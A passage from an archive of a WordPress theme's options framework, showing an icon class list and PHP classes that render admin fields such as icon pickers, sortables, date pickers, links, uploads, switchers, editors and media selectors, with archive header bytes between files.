fa-scissors','fa fa-files-o','fa fa-paperclip','fa fa-floppy-o','fa fa-square','fa fa-bars','fa fa-list-ul','fa fa-list-ol','fa fa-strikethrough','fa fa-underline','fa fa-table','fa fa-magic','fa fa-truck','fa fa-pinterest','fa fa-pinterest-square','fa fa-google-plus-square','fa fa-google-plus','fa fa-money','fa fa-caret-down','fa fa-caret-up','fa fa-caret-left','fa fa-caret-right','fa fa-columns','fa fa-sort','fa fa-sort-desc','fa fa-sort-asc','fa fa-envelope','fa fa-linkedin','fa fa-undo','fa fa-gavel','fa fa-tachometer','fa fa-comment-o','fa fa-comments-o','fa fa-bolt','fa fa-sitemap','fa fa-umbrella','fa fa-clipboard','fa fa-lightbulb-o','fa fa-exchange','fa fa-cloud-download','fa fa-cloud-upload','fa fa-user-md','fa fa-stethoscope','fa fa-suitcase','fa fa-bell-o','fa fa-coffee','fa fa-cutlery','fa fa-file-text-o','fa fa-building-o','fa fa-hospital-o','fa fa-ambulance','fa fa-medkit','fa fa-fighter-jet','fa fa-beer','fa fa-h-square','fa fa-plus-square','fa fa-angle-double-left','fa fa-angle-double-right','fa fa-angle-double-up','fa fa-angle-double-down','fa fa-angle-left','fa fa-angle-right','fa fa-angle-up','fa fa-angle-down','fa fa-desktop','fa fa-laptop','fa fa-tablet','fa fa-mobile','fa fa-circle-o','fa fa-quote-left','fa fa-quote-right','fa fa-spinner','fa fa-circle','fa fa-reply','fa fa-github-alt','fa fa-folder-o','fa fa-folder-open-o','fa fa-smile-o','fa fa-frown-o','fa fa-meh-o','fa fa-gamepad','fa fa-keyboard-o','fa fa-flag-o','fa fa-flag-checkered','fa fa-terminal','fa fa-code','fa fa-reply-all','fa fa-star-half-o','fa fa-location-arrow','fa fa-crop','fa fa-code-fork','fa fa-chain-broken','fa fa-question','fa fa-info','fa fa-exclamation','fa fa-superscript','fa fa-subscript','fa fa-eraser','fa fa-puzzle-piece','fa fa-microphone','fa fa-microphone-slash','fa fa-shield','fa fa-calendar-o','fa fa-fire-extinguisher','fa fa-rocket','fa fa-maxcdn','fa fa-chevron-circle-left','fa fa-chevron-circle-right','fa fa-chevron-circle-up','fa fa-chevron-circle-down','fa fa-html5','fa fa-css3','fa fa-anchor','fa fa-unlock-alt','fa fa-bullseye','fa fa-ellipsis-h','fa fa-ellipsis-v','fa fa-rss-square','fa fa-play-circle','fa fa-ticket','fa fa-minus-square','fa fa-minus-square-o','fa fa-level-up','fa fa-level-down','fa fa-check-square','fa fa-pencil-square','fa fa-external-link-square','fa fa-share-square','fa fa-compass','fa fa-caret-square-o-down','fa fa-caret-square-o-up','fa fa-caret-square-o-right','fa fa-eur','fa fa-gbp','fa fa-usd','fa fa-inr','fa fa-jpy','fa fa-rub','fa fa-krw','fa fa-btc','fa fa-file','fa fa-file-text','fa fa-sort-alpha-asc','fa fa-sort-alpha-desc','fa fa-sort-amount-asc','fa fa-sort-amount-desc','fa fa-sort-numeric-asc','fa fa-sort-numeric-desc','fa fa-thumbs-up','fa fa-thumbs-down','fa fa-youtube-square','fa fa-youtube','fa fa-xing','fa fa-xing-square','fa fa-youtube-play','fa fa-dropbox','fa fa-stack-overflow','fa fa-instagram','fa fa-flickr','fa fa-adn','fa fa-bitbucket','fa fa-bitbucket-square','fa fa-tumblr','fa fa-tumblr-square','fa fa-long-arrow-down','fa fa-long-arrow-up','fa fa-long-arrow-left','fa fa-long-arrow-right','fa fa-apple','fa fa-windows','fa fa-android','fa fa-linux','fa fa-dribbble','fa fa-skype','fa fa-foursquare','fa fa-trello','fa fa-female','fa fa-male','fa fa-gratipay','fa fa-sun-o','fa fa-moon-o','fa fa-archive','fa fa-bug','fa fa-vk','fa fa-weibo','fa fa-renren','fa fa-pagelines','fa fa-stack-exchange','fa fa-arrow-circle-o-right','fa fa-arrow-circle-o-left','fa fa-caret-square-o-left','fa fa-dot-circle-o','fa fa-wheelchair','fa fa-vimeo-square','fa fa-try','fa fa-plus-square-o','fa fa-space-shuttle','fa fa-slack','fa fa-envelope-square','fa fa-wordpress','fa fa-openid','fa fa-university','fa fa-graduation-cap','fa fa-yahoo','fa fa-google','fa fa-reddit','fa fa-reddit-square','fa fa-stumbleupon-circle','fa fa-stumbleupon','fa fa-delicious','fa fa-digg','fa fa-pied-piper-pp','fa fa-pied-piper-alt','fa fa-drupal','fa fa-joomla','fa fa-language','fa fa-fax','fa fa-building','fa fa-child','fa fa-paw','fa fa-spoon','fa fa-cube','fa fa-cubes','fa fa-behance','fa fa-behance-square','fa fa-steam','fa fa-steam-square','fa fa-recycle','fa fa-car','fa fa-taxi','fa fa-tree','fa fa-spotify','fa fa-deviantart','fa fa-soundcloud','fa fa-database','fa fa-file-pdf-o','fa fa-file-word-o','fa fa-file-excel-o','fa fa-file-powerpoint-o','fa fa-file-image-o','fa fa-file-archive-o','fa fa-file-audio-o','fa fa-file-video-o','fa fa-file-code-o','fa fa-vine','fa fa-codepen','fa fa-jsfiddle','fa fa-life-ring','fa fa-circle-o-notch','fa fa-rebel','fa fa-empire','fa fa-git-square','fa fa-git','fa fa-hacker-news','fa fa-tencent-weibo','fa fa-qq','fa fa-weixin','fa fa-paper-plane','fa fa-paper-plane-o','fa fa-history','fa fa-circle-thin','fa fa-header','fa fa-paragraph','fa fa-sliders','fa fa-share-alt','fa fa-share-alt-square','fa fa-bomb','fa fa-futbol-o','fa fa-tty','fa fa-binoculars','fa fa-plug','fa fa-slideshare','fa fa-twitch','fa fa-yelp','fa fa-newspaper-o','fa fa-wifi','fa fa-calculator','fa fa-paypal','fa fa-google-wallet','fa fa-cc-visa','fa fa-cc-mastercard','fa fa-cc-discover','fa fa-cc-amex','fa fa-cc-paypal','fa fa-cc-stripe','fa fa-bell-slash','fa fa-bell-slash-o','fa fa-trash','fa fa-copyright','fa fa-at','fa fa-eyedropper','fa fa-paint-brush','fa fa-birthday-cake','fa fa-area-chart','fa fa-pie-chart','fa fa-line-chart','fa fa-lastfm','fa fa-lastfm-square','fa fa-toggle-off','fa fa-toggle-on','fa fa-bicycle','fa fa-bus','fa fa-ioxhost','fa fa-angellist','fa fa-cc','fa fa-ils','fa fa-meanpath','fa fa-buysellads','fa fa-connectdevelop','fa fa-dashcube','fa fa-forumbee','fa fa-leanpub','fa fa-sellsy','fa fa-shirtsinbulk','fa fa-simplybuilt','fa fa-skyatlas','fa fa-cart-plus','fa fa-cart-arrow-down','fa fa-diamond','fa fa-ship','fa fa-user-secret','fa fa-motorcycle','fa fa-street-view','fa fa-heartbeat','fa fa-venus','fa fa-mars','fa fa-mercury','fa fa-transgender','fa fa-transgender-alt','fa fa-venus-double','fa fa-mars-double','fa fa-venus-mars','fa fa-mars-stroke','fa fa-mars-stroke-v','fa fa-mars-stroke-h','fa fa-neuter','fa fa-genderless','fa fa-facebook-official','fa fa-pinterest-p','fa fa-whatsapp','fa fa-server','fa fa-user-plus','fa fa-user-times','fa fa-bed','fa fa-viacoin','fa fa-train','fa fa-subway','fa fa-medium','fa fa-y-combinator','fa fa-optin-monster','fa fa-opencart','fa fa-expeditedssl','fa fa-battery-full','fa fa-battery-three-quarters','fa fa-battery-half','fa fa-battery-quarter','fa fa-battery-empty','fa fa-mouse-pointer','fa fa-i-cursor','fa fa-object-group','fa fa-object-ungroup','fa fa-sticky-note','fa fa-sticky-note-o','fa fa-cc-jcb','fa fa-cc-diners-club','fa fa-clone','fa fa-balance-scale','fa fa-hourglass-o','fa fa-hourglass-start','fa fa-hourglass-half','fa fa-hourglass-end','fa fa-hourglass','fa fa-hand-rock-o','fa fa-hand-paper-o','fa fa-hand-scissors-o','fa fa-hand-lizard-o','fa fa-hand-spock-o','fa fa-hand-pointer-o','fa fa-hand-peace-o','fa fa-trademark','fa fa-registered','fa fa-creative-commons','fa fa-gg','fa fa-gg-circle','fa fa-tripadvisor','fa fa-odnoklassniki','fa fa-odnoklassniki-square','fa fa-get-pocket','fa fa-wikipedia-w','fa fa-safari','fa fa-chrome','fa fa-firefox','fa fa-opera','fa fa-internet-explorer','fa fa-television','fa fa-contao','fa fa-500px','fa fa-amazon','fa fa-calendar-plus-o','fa fa-calendar-minus-o','fa fa-calendar-times-o','fa fa-calendar-check-o','fa fa-industry','fa fa-map-pin','fa fa-map-signs','fa fa-map-o','fa fa-map','fa fa-commenting','fa fa-commenting-o','fa fa-houzz','fa fa-vimeo','fa fa-black-tie','fa fa-fonticons','fa fa-reddit-alien','fa fa-edge','fa fa-credit-card-alt','fa fa-codiepie','fa fa-modx','fa fa-fort-awesome','fa fa-usb','fa fa-product-hunt','fa fa-mixcloud','fa fa-scribd','fa fa-pause-circle','fa fa-pause-circle-o','fa fa-stop-circle','fa fa-stop-circle-o','fa fa-shopping-bag','fa fa-shopping-basket','fa fa-hashtag','fa fa-bluetooth','fa fa-bluetooth-b','fa fa-percent','fa fa-gitlab','fa fa-wpbeginner','fa fa-wpforms','fa fa-envira','fa fa-universal-access','fa fa-wheelchair-alt','fa fa-question-circle-o','fa fa-blind','fa fa-audio-description','fa fa-volume-control-phone','fa fa-braille','fa fa-assistive-listening-systems','fa fa-american-sign-language-interpreting','fa fa-deaf','fa fa-glide','fa fa-glide-g','fa fa-sign-language','fa fa-low-vision','fa fa-viadeo','fa fa-viadeo-square','fa fa-snapchat','fa fa-snapchat-ghost','fa fa-snapchat-square','fa fa-pied-piper','fa fa-first-order','fa fa-yoast','fa fa-themeisle','fa fa-google-plus-official','fa fa-font-awesome','fa fa-handshake-o','fa fa-envelope-open','fa fa-envelope-open-o','fa fa-linode','fa fa-address-book','fa fa-address-book-o','fa fa-address-card','fa fa-address-card-o','fa fa-user-circle','fa fa-user-circle-o','fa fa-user-o','fa fa-id-badge','fa fa-id-card','fa fa-id-card-o','fa fa-quora','fa fa-free-code-camp','fa fa-telegram','fa fa-thermometer-full','fa fa-thermometer-three-quarters','fa fa-thermometer-half','fa fa-thermometer-quarter','fa fa-thermometer-empty','fa fa-shower','fa fa-bath','fa fa-podcast','fa fa-window-maximize','fa fa-window-minimize','fa fa-window-restore','fa fa-window-close','fa fa-window-close-o','fa fa-bandcamp','fa fa-grav','fa fa-etsy','fa fa-imdb','fa fa-ravelry','fa fa-eercast','fa fa-microchip','fa fa-snowflake-o','fa fa-superpowers','fa fa-wpexplorer','fa fa-meetup' )
    ) );
  }
}
PK     N\te
  e
  *  inc/options/framework/fields/icon/icon.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: icon
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_icon' ) ) {
  class CSF_Field_icon extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args = wp_parse_args( $this->field, array(
        'button_title' => esc_html__( 'Add Icon', 'csf' ),
        'remove_title' => esc_html__( 'Remove Icon', 'csf' ),
      ) );

      echo $this->field_before();

      $nonce  = wp_create_nonce( 'csf_icon_nonce' );
      $hidden = ( empty( $this->value ) ) ? ' hidden' : '';

      echo '<div class="csf-icon-select">';
      echo '<span class="csf-icon-preview'. esc_attr( $hidden ) .'"><i class="'. esc_attr( $this->value ) .'"></i></span>';
      echo '<a href="#" class="button button-primary csf-icon-add" data-nonce="'. esc_attr( $nonce ) .'">'. $args['button_title'] .'</a>';
      echo '<a href="#" class="button csf-warning-primary csf-icon-remove'. esc_attr( $hidden ) .'">'. $args['remove_title'] .'</a>';
      echo '<input type="hidden" name="'. esc_attr( $this->field_name() ) .'" value="'. esc_attr( $this->value ) .'" class="csf-icon-value"'. $this->field_attributes() .' />';
      echo '</div>';

      echo $this->field_after();

    }

    public function enqueue() {
      add_action( 'admin_footer', array( 'CSF_Field_icon', 'add_footer_modal_icon' ) );
      add_action( 'customize_controls_print_footer_scripts', array( 'CSF_Field_icon', 'add_footer_modal_icon' ) );
    }

    public static function add_footer_modal_icon() {
    ?>
      <div id="csf-modal-icon" class="csf-modal csf-modal-icon hidden">
        <div class="csf-modal-table">
          <div class="csf-modal-table-cell">
            <div class="csf-modal-overlay"></div>
            <div class="csf-modal-inner">
              <div class="csf-modal-title">
                <?php esc_html_e( 'Add Icon', 'csf' ); ?>
                <div class="csf-modal-close csf-icon-close"></div>
              </div>
              <div class="csf-modal-header">
                <input type="text" placeholder="<?php esc_html_e( 'Search...', 'csf' ); ?>" class="csf-icon-search" />
              </div>
              <div class="csf-modal-content">
                <div class="csf-modal-loading"><div class="csf-loading"></div></div>
                <div class="csf-modal-load"></div>
              </div>
            </div>
          </div>
        </div>
      </div>
    <?php
    }

  }
}
PK     N\      &  inc/options/framework/fields/index.phpnu [        <?php // Silence is golden.
PK     N\T    2  inc/options/framework/fields/sortable/sortable.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: sortable
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_sortable' ) ) {
  class CSF_Field_sortable extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      echo $this->field_before();

      echo '<div class="csf-sortable" data-depend-id="'. esc_attr( $this->field['id'] ) .'">';

      $pre_sortby = array();
      $pre_fields = array();

      // Add array-keys to defined fields for sort by
      foreach ( $this->field['fields'] as $key => $field ) {
        $pre_fields[$field['id']] = $field;
      }

      // Set sort by by saved-value or default-value
      if ( ! empty( $this->value ) ) {

        foreach ( $this->value as $key => $value ) {
          $pre_sortby[$key] = $pre_fields[$key];
        }

        $diff = array_diff_key( $pre_fields, $this->value );

        if( ! empty( $diff ) ) {
          $pre_sortby = array_merge( $pre_sortby, $diff );
        }

      } else {

        foreach ( $pre_fields as $key => $value ) {
          $pre_sortby[$key] = $value;
        }

      }

      foreach ( $pre_sortby as $key => $field ) {

        echo '<div class="csf-sortable-item">';

          echo '<div class="csf-sortable-content">';

          $field_default = ( isset( $this->field['default'][$key] ) ) ? $this->field['default'][$key] : '';
          $field_value   = ( isset( $this->value[$key] ) ) ? $this->value[$key] : $field_default;
          $unique_id     = ( ! empty( $this->unique ) ) ? $this->unique .'['. $this->field['id'] .']' : $this->field['id'];

          CSF::field( $field, $field_value, $unique_id, 'field/sortable' );

          echo '</div>';

          echo '<div class="csf-sortable-helper"><i class="fas fa-arrows-alt"></i></div>';

        echo '</div>';

      }

      echo '</div>';

      echo $this->field_after();

    }

    public function enqueue() {

      if ( ! wp_script_is( 'jquery-ui-sortable' ) ) {
        wp_enqueue_script( 'jquery-ui-sortable' );
      }

    }

  }
}
PK     N\Јe    2  inc/options/framework/fields/datetime/datetime.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: datetime
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_datetime' ) ) {
  class CSF_Field_datetime extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $defaults = array(
        'allowInput' => true,
      );

      $settings = ( ! empty( $this->field['settings'] ) ) ? $this->field['settings'] : array();

      if ( ! isset( $settings['noCalendar'] ) ) {
        $defaults['dateFormat'] = 'm/d/Y';
      }

      $settings = wp_parse_args( $settings, $defaults );

      echo $this->field_before();

      if ( ! empty( $this->field['from_to'] ) ) {

        $args = wp_parse_args( $this->field, array(
          'text_from' => esc_html__( 'From', 'csf' ),
          'text_to'   => esc_html__( 'To', 'csf' ),
        ) );

        $value = wp_parse_args( $this->value, array(
          'from' => '',
          'to'   => '',
        ) );

        echo '<label class="csf--from">'. esc_attr( $args['text_from'] ) .' <input type="text" name="'. esc_attr( $this->field_name( '[from]' ) ) .'" value="'. esc_attr( $value['from'] ) .'"'. $this->field_attributes() .' data-type="from" /></label>';
        echo '<label class="csf--to">'. esc_attr( $args['text_to'] ) .' <input type="text" name="'. esc_attr( $this->field_name( '[to]' ) ) .'" value="'. esc_attr( $value['to'] ) .'"'. $this->field_attributes() .' data-type="to" /></label>';

      } else {

        echo '<input type="text" name="'. esc_attr( $this->field_name() ) .'" value="'. esc_attr( $this->value ) .'"'. $this->field_attributes() .'/>';

      }

      echo '<div class="csf-datetime-settings" data-settings="'. esc_attr( json_encode( $settings ) ) .'"></div>';

      echo $this->field_after();

    }

  }
}
PK     N\.Q4  4  *  inc/options/framework/fields/link/link.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: link
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_link' ) ) {
  class CSF_Field_link extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args = wp_parse_args( $this->field, array(
        'add_title'    => esc_html__( 'Add Link', 'csf' ),
        'edit_title'   => esc_html__( 'Edit Link', 'csf' ),
        'remove_title' => esc_html__( 'Remove Link', 'csf' ),
      ) );

      $default_values = array(
        'url'    => '',
        'text'  => '',
        'target' => '',
      );

      $value = wp_parse_args( $this->value, $default_values );

      $hidden = ( ! empty( $value['url'] ) || ! empty( $value['url'] ) || ! empty( $value['url'] ) ) ? ' hidden' : '';

      $maybe_hidden = ( empty( $hidden ) ) ? ' hidden' : '';

      echo $this->field_before();

      echo '<textarea readonly="readonly" class="csf--link hidden"></textarea>';

      echo '<div class="'. esc_attr( $maybe_hidden ) .'"><div class="csf--result">'. sprintf( '{url:"%s", text:"%s", target:"%s"}', $value['url'], $value['text'], $value['target'] ) .'</div></div>';

      echo '<input type="hidden" name="'. esc_attr( $this->field_name( '[url]' ) ) .'" value="'. esc_attr( $value['url'] ) .'"'. $this->field_attributes( array( 'class' => 'csf--url' ) ) .' />';
      echo '<input type="hidden" name="'. esc_attr( $this->field_name( '[text]' ) ) .'" value="'. esc_attr( $value['text'] ) .'" class="csf--text" />';
      echo '<input type="hidden" name="'. esc_attr( $this->field_name( '[target]' ) ) .'" value="'. esc_attr( $value['target'] ) .'" class="csf--target" />';

      echo '<a href="#" class="button button-primary csf--add'. esc_attr( $hidden ) .'">'. $args['add_title'] .'</a> ';
      echo '<a href="#" class="button csf--edit'. esc_attr( $maybe_hidden ) .'">'. $args['edit_title'] .'</a> ';
      echo '<a href="#" class="button csf-warning-primary csf--remove'. esc_attr( $maybe_hidden ) .'">'. $args['remove_title'] .'</a>';

      echo $this->field_after();

    }

    public function enqueue() {

      if ( ! wp_script_is( 'wplink' ) ) {
        wp_enqueue_script( 'wplink' );
      }

      if ( ! wp_script_is( 'jquery-ui-autocomplete' ) ) {
        wp_enqueue_script( 'jquery-ui-autocomplete' );
      }

      add_action( 'admin_print_footer_scripts', array( $this, 'add_wp_link_dialog' ) );

    }

    public function add_wp_link_dialog() {

      if ( ! class_exists( '_WP_Editors' ) ) {
        require_once ABSPATH . WPINC .'/class-wp-editor.php';
      }

      wp_print_styles( 'editor-buttons' );

      _WP_Editors::wp_link_dialog();

    }

  }
}
PK     N\[k+
  
  .  inc/options/framework/fields/upload/upload.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: upload
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_upload' ) ) {
  class CSF_Field_upload extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args = wp_parse_args( $this->field, array(
        'library'        => array(),
        'preview'        => false,
        'preview_width'  => '',
        'preview_height' => '',
        'button_title'   => esc_html__( 'Upload', 'csf' ),
        'remove_title'   => esc_html__( 'Remove', 'csf' ),
      ) );

      echo $this->field_before();

      $library = ( is_array( $args['library'] ) ) ? $args['library'] : array_filter( (array) $args['library'] );
      $library = ( ! empty( $library ) ) ? implode(',', $library ) : '';
      $hidden  = ( empty( $this->value ) ) ? ' hidden' : '';

      if ( ! empty( $args['preview'] ) ) {

        $preview_type   = ( ! empty( $this->value ) ) ? strtolower( substr( strrchr( $this->value, '.' ), 1 ) ) : '';
        $preview_src    = ( ! empty( $preview_type ) && in_array( $preview_type, array( 'jpg', 'jpeg', 'gif', 'png', 'svg', 'webp' ) ) ) ? $this->value : '';
        $preview_width  = ( ! empty( $args['preview_width'] ) ) ? 'max-width:'. esc_attr( $args['preview_width'] ) .'px;' : '';
        $preview_height = ( ! empty( $args['preview_height'] ) ) ? 'max-height:'. esc_attr( $args['preview_height'] ) .'px;' : '';
        $preview_style  = ( ! empty( $preview_width ) || ! empty( $preview_height ) ) ? ' style="'. esc_attr( $preview_width . $preview_height ) .'"': '';
        $preview_hidden = ( empty( $preview_src ) ) ? ' hidden' : '';

        echo '<div class="csf--preview'. esc_attr( $preview_hidden ) .'">';
        echo '<div class="csf-image-preview"'. $preview_style .'>';
        echo '<i class="csf--remove fas fa-times"></i><span><img src="'. esc_url( $preview_src ) .'" class="csf--src" /></span>';
        echo '</div>';
        echo '</div>';

      }

      echo '<div class="csf--wrap">';
      echo '<input type="text" name="'. esc_attr( $this->field_name() ) .'" value="'. esc_attr( $this->value ) .'"'. $this->field_attributes() .'/>';
      echo '<a href="#" class="button button-primary csf--button" data-library="'. esc_attr( $library ) .'">'. $args['button_title'] .'</a>';
      echo '<a href="#" class="button button-secondary csf-warning-primary csf--remove'. esc_attr( $hidden ) .'">'. $args['remove_title'] .'</a>';
      echo '</div>';

      echo $this->field_after();

    }
  }
}
PK     N\F)h
  
  2  inc/options/framework/fields/switcher/switcher.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: switcher
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_switcher' ) ) {
  class CSF_Field_switcher extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $active     = ( ! empty( $this->value ) ) ? ' csf--active' : '';
      $text_on    = ( ! empty( $this->field['text_on'] ) ) ? $this->field['text_on'] : esc_html__( 'On', 'csf' );
      $text_off   = ( ! empty( $this->field['text_off'] ) ) ? $this->field['text_off'] : esc_html__( 'Off', 'csf' );
      $text_width = ( ! empty( $this->field['text_width'] ) ) ? ' style="width: '. esc_attr( $this->field['text_width'] ) .'px;"': '';

      echo $this->field_before();

      echo '<div class="csf--switcher'. esc_attr( $active ) .'"'. $text_width .'>';
      echo '<span class="csf--on">'. esc_attr( $text_on ) .'</span>';
      echo '<span class="csf--off">'. esc_attr( $text_off ) .'</span>';
      echo '<span class="csf--ball"></span>';
      echo '<input type="hidden" name="'. esc_attr( $this->field_name() ) .'" value="'. esc_attr( $this->value ) .'"'. $this->field_attributes() .' />';
      echo '</div>';

      echo ( ! empty( $this->field['label'] ) ) ? '<span class="csf--label">'. esc_attr( $this->field['label'] ) . '</span>' : '';

      echo $this->field_after();

    }

  }
}
PK     N\|Q%1  1  4  inc/options/framework/fields/wp_editor/wp_editor.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: wp_editor
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_wp_editor' ) ) {
  class CSF_Field_wp_editor extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args = wp_parse_args( $this->field, array(
        'tinymce'       => true,
        'quicktags'     => true,
        'media_buttons' => true,
        'wpautop'       => false,
        'height'        => '',
      ) );

      $attributes = array(
        'rows'         => 10,
        'class'        => 'wp-editor-area',
        'autocomplete' => 'off',
      );

      $editor_height = ( ! empty( $args['height'] ) ) ? ' style="height:'. esc_attr( $args['height'] ) .';"' : '';

      $editor_settings  = array(
        'tinymce'       => $args['tinymce'],
        'quicktags'     => $args['quicktags'],
        'media_buttons' => $args['media_buttons'],
        'wpautop'       => $args['wpautop'],
      );

      echo $this->field_before();

      echo ( csf_wp_editor_api() ) ? '<div class="csf-wp-editor" data-editor-settings="'. esc_attr( json_encode( $editor_settings ) ) .'">' : '';

      echo '<textarea name="'. esc_attr( $this->field_name() ) .'"'. $this->field_attributes( $attributes ) . $editor_height .'>'. $this->value .'</textarea>';

      echo ( csf_wp_editor_api() ) ? '</div>' : '';

      echo $this->field_after();

    }

    public function enqueue() {

      if ( csf_wp_editor_api() && function_exists( 'wp_enqueue_editor' ) ) {

        wp_enqueue_editor();

        $this->setup_wp_editor_settings();

        add_action( 'print_default_editor_scripts', array( $this, 'setup_wp_editor_media_buttons' ) );

      }

    }

    // Setup wp editor media buttons
    public function setup_wp_editor_media_buttons() {

      if ( ! function_exists( 'media_buttons' ) ) {
        return;
      }

      ob_start();
        echo '<div class="wp-media-buttons">';
          do_action( 'media_buttons' );
        echo '</div>';
      $media_buttons = ob_get_clean();

      echo '<script type="text/javascript">';
      echo 'var csf_media_buttons = '. json_encode( $media_buttons ) .';';
      echo '</script>';

    }

    // Setup wp editor settings
    public function setup_wp_editor_settings() {

      if ( csf_wp_editor_api() && class_exists( '_WP_Editors') ) {

        $defaults = apply_filters( 'csf_wp_editor', array(
          'tinymce' => array(
            'wp_skip_init' => true
          ),
        ) );

        $setup = _WP_Editors::parse_settings( 'csf_wp_editor', $defaults );

        _WP_Editors::editor_settings( 'csf_wp_editor', $setup );

      }

    }

  }
}
PK     N\ڳ
  
  .  inc/options/framework/fields/sorter/sorter.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: sorter
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_sorter' ) ) {
  class CSF_Field_sorter extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args = wp_parse_args( $this->field, array(
        'disabled'       => true,
        'enabled_title'  => esc_html__( 'Enabled', 'csf' ),
        'disabled_title' => esc_html__( 'Disabled', 'csf' ),
      ) );

      echo $this->field_before();

      $this->value      = ( ! empty( $this->value ) ) ? $this->value : $this->field['default'];
      $enabled_options  = ( ! empty( $this->value['enabled'] ) ) ? $this->value['enabled'] : array();
      $disabled_options = ( ! empty( $this->value['disabled'] ) ) ? $this->value['disabled'] : array();

      echo '<div class="csf-sorter" data-depend-id="'. esc_attr( $this->field['id'] ) .'"></div>';

      echo ( $args['disabled'] ) ? '<div class="csf-modules">' : '';

      echo ( ! empty( $args['enabled_title'] ) ) ? '<div class="csf-sorter-title">'. esc_attr( $args['enabled_title'] ) .'</div>' : '';
      echo '<ul class="csf-enabled">';
      if ( ! empty( $enabled_options ) ) {
        foreach ( $enabled_options as $key => $value ) {
          echo '<li><input type="hidden" name="'. esc_attr( $this->field_name( '[enabled]['. $key .']' ) ) .'" value="'. esc_attr( $value ) .'"/><label>'. esc_attr( $value ) .'</label></li>';
        }
      }
      echo '</ul>';

      // Check for hide/show disabled section
      if ( $args['disabled'] ) {

        echo '</div>';

        echo '<div class="csf-modules">';
        echo ( ! empty( $args['disabled_title'] ) ) ? '<div class="csf-sorter-title">'. esc_attr( $args['disabled_title'] ) .'</div>' : '';
        echo '<ul class="csf-disabled">';
        if ( ! empty( $disabled_options ) ) {
          foreach ( $disabled_options as $key => $value ) {
          echo '<li><input type="hidden" name="'. esc_attr( $this->field_name( '[disabled]['. $key .']' ) ) .'" value="'. esc_attr( $value ) .'"/><label>'. esc_attr( $value ) .'</label></li>';
          }
        }
        echo '</ul>';
        echo '</div>';

      }


      echo $this->field_after();

    }

    public function enqueue() {

      if ( ! wp_script_is( 'jquery-ui-sortable' ) ) {
        wp_enqueue_script( 'jquery-ui-sortable' );
      }

    }

  }
}
PK     N\K    ,  inc/options/framework/fields/media/media.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: media
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_media' ) ) {
  class CSF_Field_media extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args = wp_parse_args( $this->field, array(
        'url'            => true,
        'preview'        => true,
        'preview_width'  => '',
        'preview_height' => '',
        'library'        => array(),
        'button_title'   => esc_html__( 'Upload', 'csf' ),
        'remove_title'   => esc_html__( 'Remove', 'csf' ),
        'preview_size'   => 'thumbnail',
      ) );

      $default_values = array(
        'url'         => '',
        'id'          => '',
        'width'       => '',
        'height'      => '',
        'thumbnail'   => '',
        'alt'         => '',
        'title'       => '',
        'description' => ''
      );

      // fallback
      if ( is_numeric( $this->value ) ) {

        $this->value  = array(
          'id'        => $this->value,
          'url'       => wp_get_attachment_url( $this->value ),
          'thumbnail' => wp_get_attachment_image_src( $this->value, 'thumbnail', true )[0],
        );

      }

      $this->value = wp_parse_args( $this->value, $default_values );

      $library     = ( is_array( $args['library'] ) ) ? $args['library'] : array_filter( (array) $args['library'] );
      $library     = ( ! empty( $library ) ) ? implode(',', $library ) : '';
      $preview_src = ( $args['preview_size'] !== 'thumbnail' ) ? $this->value['url'] : $this->value['thumbnail'];
      $hidden_url  = ( empty( $args['url'] ) ) ? ' hidden' : '';
      $hidden_auto = ( empty( $this->value['url'] ) ) ? ' hidden' : '';
